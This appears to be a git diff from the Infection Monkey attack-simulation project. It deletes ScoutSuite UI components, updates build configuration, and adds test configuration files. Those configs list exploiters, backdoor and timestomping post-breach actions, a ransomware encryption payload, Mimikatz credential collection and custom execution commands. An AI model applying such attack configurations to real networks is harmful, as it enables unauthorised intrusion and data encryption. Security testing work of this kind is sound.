match source object - * @param path unknown.b.c - * @param source {a: {b: {c: [{result:'result'}]}}} - * @returns {[]} 'result' - */ - getValueByReplacingUnknownKey(path, source) { - let value = []; - for (let key in source) { - value = this.getObjectValueByPath(this.replaceFirstKey(path, key), source); - value = value.concat(Object.values(value)); - } - return value; - } - - /** - * Replaces first key in path - * @param path E.g. "one.two.three" - * @param replacement E.g. "four" - * @returns string E.g. "four.two.three" - */ - replaceFirstKey(path, replacement) { - return replacement + path.substr(path.indexOf('.'), path.length); - } - - /** - * Trims the first key from dot separated path. - * @param path E.g. "one.two.three" - * @returns {string|boolean} E.g. "two.three" - */ - trimFirstKey(path) { - if (path.indexOf('.') !== -1) { - return path.substr(path.indexOf('.') + 1, path.length); - } else { - return false; - } - } - - -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js deleted file mode 100644 index 7ab5925a5..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js +++ /dev/null @@ -1,46 +0,0 @@ -import React, {Component} from 'react'; -import {Button} from 'react-bootstrap'; -import * as PropTypes from 'prop-types'; - -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faList} from '@fortawesome/free-solid-svg-icons/faList'; -import ScoutSuiteRuleModal from './ScoutSuiteRuleModal'; -import CountBadge from '../../../ui-components/CountBadge'; - -export default class ScoutSuiteRuleButton extends Component { - constructor(props) { - super(props); - this.state = { - isModalOpen: false - } - } - - toggleModal = () => { - this.setState({isModalOpen: !this.state.isModalOpen}); - }; - - render() { - return ( - <> - -
    - -
    - ); - } - - createRuleCountBadge() { - - } -} - -ScoutSuiteRuleButton.propTypes = { - scoutsuite_rules: PropTypes.array, - scoutsuite_data: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js deleted file mode 100644 index fd7fa3851..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js +++ /dev/null @@ -1,94 +0,0 @@ -import React, {useState} from 'react'; -import {Modal} from 'react-bootstrap'; -import * as PropTypes from 'prop-types'; -import Pluralize from 'pluralize'; -import ScoutSuiteSingleRuleDropdown from './ScoutSuiteSingleRuleDropdown'; -import '../../../../styles/components/scoutsuite/RuleModal.scss'; -import STATUSES from '../../common/consts/StatusConsts'; -import {getRuleCountByStatus, sortRules} from './rule-parsing/ParsingUtils'; - - -export default function ScoutSuiteRuleModal(props) { - const [openRuleId, setOpenRuleId] = useState(null) - - function toggleRuleDropdown(ruleId) { - let ruleIdToSet = (openRuleId === ruleId) ? null : ruleId; - setOpenRuleId(ruleIdToSet); - } - - function renderRuleDropdowns() { - let dropdowns = []; - let rules = sortRules(props.scoutsuite_rules); - rules.forEach(rule => { - let dropdown = ( toggleRuleDropdown(rule.description)} - rule={rule} - scoutsuite_data={props.scoutsuite_data} - key={rule.description + rule.path}/>) - dropdowns.push(dropdown) - }); - return dropdowns; - } - - function getGeneralRuleOverview() { - return <> - There {Pluralize('is', props.scoutsuite_rules.length)} -  {props.scoutsuite_rules.length} -  ScoutSuite {Pluralize('rule', props.scoutsuite_rules.length)} associated with this finding. - - } - - function getFailedRuleOverview() { - let failedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_FAILED) + - + getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_VERIFY); - return <> -  {failedRuleCnt} -  failed security {Pluralize('rule', failedRuleCnt)}. - - } - - function getPassedRuleOverview() { - let passedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_PASSED); - return <> -  {passedRuleCnt} -  passed security {Pluralize('rule', passedRuleCnt)}. - - } - - function getUnexecutedRuleOverview() { - let unexecutedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_UNEXECUTED); - return <> -  {unexecutedRuleCnt} -  {Pluralize('rule', unexecutedRuleCnt)} {Pluralize('was', unexecutedRuleCnt)} not - checked (no relevant resources for the rule). - - } - - return ( -
    - props.hideCallback()} className={'scoutsuite-rule-modal'}> - -

    -
    ScoutSuite rules
    -

    -
    -

    - {getGeneralRuleOverview()} - {getFailedRuleOverview()} - {getPassedRuleOverview()} - {getUnexecutedRuleOverview()} -

    - {renderRuleDropdowns()} -
    -
    -
    - ); - -} - -ScoutSuiteRuleModal.propTypes = { - isModalOpen: PropTypes.bool, - scoutsuite_rules: PropTypes.array, - scoutsuite_data: PropTypes.object, - hideCallback: PropTypes.func -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js deleted file mode 100644 index c396066b4..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js +++ /dev/null @@ -1,79 +0,0 @@ -import React from 'react'; -import Collapse from '@kunukn/react-collapse'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome' -import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp' -import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown' - -import classNames from 'classnames'; -import * as PropTypes from 'prop-types'; -import STATUSES from '../../common/consts/StatusConsts'; -import {faCheckCircle, faCircle, faExclamationCircle} from '@fortawesome/free-solid-svg-icons'; -import RuleDisplay from './RuleDisplay'; -import {getRuleStatus} from './rule-parsing/ParsingUtils'; - -export default function ScoutSuiteSingleRuleDropdown(props) { - - function getRuleCollapse() { - return ( -
    - - -
    - ); - } - - function getRuleIcon() { - let ruleStatus = getRuleStatus(props.rule); - switch (ruleStatus) { - case STATUSES.STATUS_PASSED: - return faCheckCircle; - case STATUSES.STATUS_VERIFY: - return faExclamationCircle; - case STATUSES.STATUS_FAILED: - return faExclamationCircle; - case STATUSES.STATUS_UNEXECUTED: - return faCircle; - } - } - - function getDropdownClass() { - let ruleStatus = getRuleStatus(props.rule); - switch (ruleStatus) { - case STATUSES.STATUS_PASSED: - return 'collapse-success'; - case STATUSES.STATUS_VERIFY: - return 'collapse-danger'; - case STATUSES.STATUS_FAILED: - return 'collapse-danger'; - case STATUSES.STATUS_UNEXECUTED: - return 'collapse-default'; - } - } - - function renderRule() { - return - } - - return getRuleCollapse(); -} - - -ScoutSuiteSingleRuleDropdown.propTypes = { - isCollapseOpen: PropTypes.bool, - rule: PropTypes.object, - scoutsuite_data: PropTypes.object, - toggleCallback: PropTypes.func -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js deleted file mode 100644 index da1417d1b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js +++ /dev/null @@ -1,40 +0,0 @@ -import STATUSES from '../../../common/consts/StatusConsts'; -import RULE_LEVELS from '../../../common/consts/ScoutSuiteConsts/RuleLevels'; - -export function getRuleStatus(rule) { - if (rule.checked_items === 0) { - return STATUSES.STATUS_UNEXECUTED - } else if (rule.items.length === 0) { - return STATUSES.STATUS_PASSED - } else if (rule.level === RULE_LEVELS.LEVEL_WARNING) { - return STATUSES.STATUS_VERIFY - } else { - return STATUSES.STATUS_FAILED - } -} - -export function getRuleCountByStatus(rules, status) { - return rules.filter(rule => getRuleStatus(rule) === status).length; -} - -export function sortRules(rules) { - rules.sort(compareRules); - return rules; -} - -function compareRules(firstRule, secondRule) { - let firstStatus = getRuleStatus(firstRule); - let secondStatus = getRuleStatus(secondRule); - return compareRuleStatuses(firstStatus, secondStatus); -} - -function compareRuleStatuses(ruleStatusOne, ruleStatusTwo) { - const severity_order = { - [STATUSES.STATUS_FAILED]: 1, - [STATUSES.STATUS_VERIFY]: 2, - [STATUSES.STATUS_PASSED]: 3, - [STATUSES.STATUS_UNEXECUTED]: 4 - } - - return severity_order[ruleStatusOne] - severity_order[ruleStatusTwo] -} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js index 23d607311..f88597b60 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js @@ -1,7 +1,7 @@ -import Particles from 'react-particles-js'; +import Particles from 'react-tsparticles'; import {particleParams} from '../../styles/components/particle-component/ParticleBackgroundParams'; import React from 'react'; export default function ParticleBackground() { - return (); + return (); } diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js index 3de39fffe..515ddfd9d 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js +++ b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js @@ -16,9 +16,9 @@ function getPluginDescriptors(schema, config) { selectedPlugins: config.monkey.post_breach.post_breach_actions }, { - name: 'SystemInfoCollectors', - allPlugins: schema.definitions.system_info_collector_classes.anyOf, - selectedPlugins: config.monkey.system_info.system_info_collector_classes + name: 'CredentialCollectors', + allPlugins: schema.definitions.credential_collector_classes.anyOf, + selectedPlugins: config.monkey.credential_collectors.credential_collector_classes } ]); } diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png deleted file mode 100644 index aebe6f962..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png deleted file mode 100644 index c1f9a30bd..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png deleted file mode 100644 index 7654982f3..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png deleted file mode 100644 index c6d2ace5a..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png deleted file mode 100644 index 882acae59..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_starting.png deleted file mode 100644 index ca3c553ae..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png deleted file mode 100644 index 1f6da00f2..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png deleted file mode 100644 index 1991dd9b0..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_old.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_old.png deleted file mode 100644 index 27b15fef0..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_old.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png deleted file mode 100644 index 0cea18d57..000000000 Binary files a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png and /dev/null differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/propagated_linux.png similarity index 100% rename from monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/propagated_linux.png diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/propagated_windows.png similarity index 100% rename from monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/propagated_windows.png diff --git a/monkey/monkey_island/cc/ui/src/styles/Main.scss b/monkey/monkey_island/cc/ui/src/styles/Main.scss index 1609dffca..96f59895a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Main.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Main.scss @@ -13,7 +13,6 @@ @import 'components/PreviewPane'; @import 'components/AdvancedMultiSelect'; @import 'components/particle-component/ParticleBackground'; -@import 'components/scoutsuite/ResourceDropdown'; @import 'components/ImageModal'; @import 'components/Icons'; @import 'components/inline-selection/InlineSelection'; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js index 525f1cb71..10453de0d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js +++ b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js @@ -1,18 +1,20 @@ export const particleParams = { - particles: { - color: { - value: '#2b2b2b' - }, - line_linked: { - color: { - value: '#555555' - } - }, - number: { - value: 150 - }, - size: { - value: 3 - } - } - } + 'fps_limit': 60, + 'particles': { + 'color': {'value': '#646464'}, + 'links': {'color': '#555555', 'distance': 150, 'enable': true, 'opacity': 0.4, 'width': 1}, + 'move': { + 'bounce': false, + 'direction': 'none', + 'enable': true, + 'outMode': 'out', + 'random': false, + 'speed': 2, + 'straight': false + }, + 'number': {'density': {'enable': true, 'area': 800}, 'value': 50}, + 'shape': {'type': 'circle'}, + 'size': {'value': 3} + }, + 'detectRetina': true +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss deleted file mode 100644 index 8be9d1956..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss +++ /dev/null @@ -1,86 +0,0 @@ -.aws-scoutsuite-configuration a { - display: inline-block; - padding: 0 0 3px 0; -} - -.aws-scoutsuite-configuration ol { - padding-left: 15px; - margin-bottom: 30px; -} - -.aws-scoutsuite-configuration ol.nested-ol { - margin-bottom: 0; -} - -.aws-scoutsuite-configuration li { - margin-bottom: 0; -} - -.aws-scoutsuite-configuration h2 { - margin-bottom: 20px; -} - -.aws-scoutsuite-configuration p { - margin-bottom: 5px; -} - -.aws-scoutsuite-configuration .cli-link { - padding: 0 0 4px 0; -} - -.monkey-submit-button { - margin-bottom: 15px; -} - -.aws-scoutsuite-key-configuration .collapse-item { - padding: 0; - margin-bottom: 15px; -} - -.aws-scoutsuite-key-configuration .collapse-item .btn-collapse .question-icon { - display: inline-block; - margin-right: 7px; - margin-bottom: 1px; -} - -.aws-scoutsuite-key-configuration .collapse-item .btn-collapse p { - display: inline-block; - margin-bottom: 0; - font-size: 1.2em; - margin-left: 5px -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial { - padding-bottom: 10px; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial p { - margin-bottom: 2px; - font-weight: 400; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial h5 { - margin-top: 15px; - font-weight: 600; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial p:first-child { - margin-top: 15px; -} - -.aws-scoutsuite-key-configuration .image-modal { - margin-top: 5px; -} - -.aws-scoutsuite-key-configuration .key-creation-tutorial img { - max-width: 100%; - max-height: 100%; - border: 1px solid black; -} - -.link-in-success-message { - padding: 0 !important; - vertical-align: initial !important; -} - - diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss deleted file mode 100644 index e09ad922c..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss +++ /dev/null @@ -1,21 +0,0 @@ -.resource-display { - margin-top: 10px; -} - -.resource-display .resource-value-json { - background-color: $gray-200; - padding: 4px; -} - -.resource-display .resource-path-contents svg { - margin-left: 5px; - margin-right: 5px; - width: 10px; -} - -.resource-display .resource-value-title, -.resource-display .resource-path-title { - margin-right:5px; - font-weight: 500; - margin-bottom: 0; -} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss deleted file mode 100644 index 703e27370..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss +++ /dev/null @@ -1,21 +0,0 @@ -.scoutsuite-rule-display .description h3{ - font-size: 1.2em; - margin-top: 10px; -} - -.scoutsuite-rule-display p{ - display: inline-block; -} - -.scoutsuite-rule-display .checked-resources-title, -.scoutsuite-rule-display .flagged-resources-title, -.scoutsuite-rule-display .reference-list-title{ - font-weight: 500; - margin-right: 5px; - margin-bottom: 0; -} - -.scoutsuite-rule-display .reference-list a { - display: block; - margin-left: 10px; -} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss deleted file mode 100644 index 970f0422a..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss +++ /dev/null @@ -1,9 +0,0 @@ -.scoutsuite-rule-modal .modal-dialog { - max-width: 1000px; - top: 0; - padding: 30px; -} - -.collapse-item.rule-collapse button > span:nth-child(2) { - flex: 1 -} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index 18e09d37b..22f396b56 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -49,10 +49,6 @@ font-size: 1.2em; } -.config-field-hidden { - display: none; -} - .field-description { white-space: pre-wrap; } diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json index ada32ea6b..aab78bd6d 100644 --- a/monkey/monkey_island/cc/ui/tsconfig.json +++ b/monkey/monkey_island/cc/ui/tsconfig.json @@ -10,5 +10,8 @@ "include": [ "src" ], - "compileOnSave": false + "compileOnSave": false, + "exclude": [ + "node_modules" + ] } diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index c820b5fd5..1179e6391 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -1,26 +1,45 @@ const path = require('path'); -const HtmlWebPackPlugin = require("html-webpack-plugin"); -module.exports = { +var isProduction = process.argv[process.argv.indexOf('--mode') + 1] === 'production'; + +const SpeedMeasurePlugin = require('speed-measure-webpack-plugin'); +const HtmlWebPackPlugin = require('html-webpack-plugin'); +const ForkTsCheckerWebpackPlugin = require('fork-ts-checker-webpack-plugin'); +const smp = new SpeedMeasurePlugin({ disable: isProduction }); + + +module.exports = smp.wrap({ + mode : isProduction ? 'production' : 'development', module: { rules: [ { test: /\.tsx?$/, - loader: "ts-loader" + use: [ 'thread-loader', { + loader: 'ts-loader', + options: { + transpileOnly: true, + happyPackMode: true + } + }] }, { test: /\.js$/, - loader: "source-map-loader" + use: ['thread-loader', 'source-map-loader'], + enforce: 'pre' }, { test: /\.js$/, exclude: /node_modules/, - use: { - loader: "babel-loader", - } + use: [ 'thread-loader', { + loader: 'babel-loader', + options: { + cacheDirectory: true + } + }] }, { test: /\.css$/, use: [ + 'thread-loader', 'style-loader', 'css-loader' ] @@ -28,6 +47,7 @@ module.exports = { { test: /\.scss$/, use: [ + 'thread-loader', 'style-loader', 'css-loader', 'sass-loader' @@ -35,37 +55,39 @@ module.exports = { }, { test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/, - use: { - loader: 'file-loader' - } + type: 'asset/resource' }, { test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/, - use: { - loader: 'url-loader?limit=10000&mimetype=application/font-woff' - } + type: 'asset' }, { test: /\.(png|jpg|gif)$/, - use: { - loader: 'url-loader?limit=8192' - } + type: 'asset' }, { test: /\.html$/, use: [ { - loader: "html-loader" + loader: 'html-loader' } ] } ] }, - devtool: "source-map", + devtool: isProduction ? 'source-map' : 'eval-source-map', plugins: [ + new ForkTsCheckerWebpackPlugin({ + typescript: { + diagnosticOptions: { + semantic: true, + syntactic: true + } + } + }), new HtmlWebPackPlugin({ - template: "./src/index.html", - filename: "./index.html" + template: './src/index.html', + filename: './index.html' }) ], resolve: { @@ -88,4 +110,4 @@ module.exports = { } } } -}; +}); diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index 8de0a49a9..375af7d24 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -45,8 +45,6 @@ 1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source) monkey-linux-64 - monkey binary for linux 64bit - monkey-linux-32 - monkey binary for linux 32bit - monkey-windows-32.exe - monkey binary for windows 32bit monkey-windows-64.exe - monkey binary for windows 64bit 1. Install npm @@ -95,15 +93,10 @@ monkey-linux-64 - monkey binary for linux 64bit - monkey-linux-32 - monkey binary for linux 32bit - - monkey-windows-32.exe - monkey binary for windows 32bit - monkey-windows-64.exe - monkey binary for windows 64bit Also, if you're going to run monkeys on local machine execute: - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64` - - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32` 1. Setup MongoDB (Use one of the two following options): - Download MongoDB and extract it to monkey/monkey_island/bin/mongodb: diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json new file mode 100644 index 000000000..439103396 --- /dev/null +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -0,0 +1,108 @@ +{ + "config": { + "propagation": { + "network_scan": { + "tcp": { + "timeout_ms": 3000, + "ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 7001, + 8088, + 9200 + ] + }, + "icmp": { + "timeout_ms": 1000 + }, + "fingerprinters": [ + "SMBFinger", + "SSHFinger", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "targets": { + "blocked_ips": ["192.168.1.1", "192.168.1.100"], + "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], + "local_network_scan": true, + "subnet_scan_list": [ + "192.168.1.50", + "192.168.56.0/24", + "10.0.33.0/30", + "10.0.0.1", + "10.0.0.2" + ] + }, + "exploiters": { + "options": {}, + "brute_force": [ + {"name": "MSSQLExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "PowerShellExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "SmbExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "SSHExploiter", "supported_os": ["linux"], "options": {}}, + {"name": "WmiExploiter", "supported_os": ["windows"], "options": {}} + ], + "vulnerability": [ + {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}}, + {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}} + ] + } + }, + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "command_servers": ["10.197.94.72:5000"], + "current_server": "localhost:5000", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "depth": 2, + "dropper_set_date": true, + "exploit_lm_hash_list": ["DEADBEEF", "FACADE"], + "exploit_ntlm_hash_list": ["BEADED", "ACCEDE", "DECADE"], + "exploit_password_list": ["p1", "p2", "p3"], + "exploit_ssh_keys": "hidden", + "exploit_user_list": ["u1", "u2", "u3"], + "exploiter_classes": [], + "max_depth": 2, + "post_breach_actions": { + "CommunicateAsBackdoorUser": {}, + "ModifyShellStartupFiles": {}, + "HiddenFiles": {}, + "TrapCommand": {}, + "ChangeSetuidSetgid": {}, + "ScheduleJobs": {}, + "Timestomping": {}, + "AccountDiscovery": {}, + "Custom": { + "linux_command": "chmod u+x my_exec && ./my_exec", + "windows_cmd": "powershell test_driver.ps1", + "linux_filename": "my_exec", + "windows_filename": "test_driver.ps1" + } + }, + "payloads": { + "ransomware": { + "encryption": { + "directories": {"linux_target_dir": "", "windows_target_dir": ""}, + "enabled": true + }, + "other_behaviors": {"readme": true} + } + }, + "credential_collector_classes": [ + "MimikatzCollector", + "SSHCollector" + ] + } +} diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json new file mode 100644 index 000000000..2f48f30a6 --- /dev/null +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -0,0 +1,110 @@ +{ + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001, + 9200 + ], + "PBA_linux_filename": "test.sh", + "PBA_windows_filename": "test.ps1", + "alive": true, + "aws_access_key_id": "", + "aws_secret_access_key": "", + "aws_session_token": "", + "blocked_ips": ["192.168.1.1", "192.168.1.100"], + "command_servers": [ + "10.197.94.72:5000" + ], + "current_server": "10.197.94.72:5000", + "custom_PBA_linux_cmd": "bash test.sh", + "custom_PBA_windows_cmd": "powershell test.ps1", + "depth": 2, + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"], + "exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"], + "exploit_password_list": [ + "test", + "iloveyou", + "12345" + ], + "exploit_ssh_keys": [ + { + "public_key": "my_public_key", + "private_key": "my_private_key" + } + ], + "exploit_user_list": [ + "Administrator", + "root", + "user", + "ubuntu" + ], + "exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ZerologonExploiter", + "HadoopExploiter", + "MSSQLExploiter", + "PowerShellExploiter", + "Log4ShellExploiter" + ], + "export_monkey_telems": false, + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "HTTPFinger", + "MSSQLFinger", + "ElasticFinger" + ], + "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], + "keep_tunnel_open_time": 60, + "local_network_scan": true, + "max_depth": null, + "ping_scan_timeout": 1000, + "post_breach_actions": [ + "CommunicateAsBackdoorUser", + "ModifyShellStartupFiles", + "ScheduleJobs", + "Timestomping", + "AccountDiscovery" + ], + "ransomware": { + "encryption": { + "enabled": true, + "directories": { + "linux_target_dir": "/tmp/ransomware-target", + "windows_target_dir": "C:\\windows\\temp\\ransomware-target" + } + }, + "other_behaviors": { + "readme": true + } + }, + "smb_download_timeout": 300, + "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], + "system_info_collector_classes": [ + "MimikatzCollector" + ], + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 7001, + 8088 + ] +} diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 112d649d8..1ffce78cf 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -5,13 +5,8 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", "HadoopExploiter", - "MSSQLExploiter", - "DrupalExploiter" + "MSSQLExploiter" ] }, "credentials": { @@ -44,12 +39,9 @@ }, "internal": { "general": { - "keep_tunnel_open_time": 60, - "started_on_island": false + "keep_tunnel_open_time": 60 }, "monkey": { - "victims_max_find": 100, - "victims_max_exploit": 100, "alive": true, "aws_keys": { "aws_access_key_id": "", @@ -89,9 +81,7 @@ 7001, 8088 ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true + "tcp_scan_timeout": 3000 }, "ping_scanner": { "ping_scan_timeout": 1000 @@ -101,9 +91,7 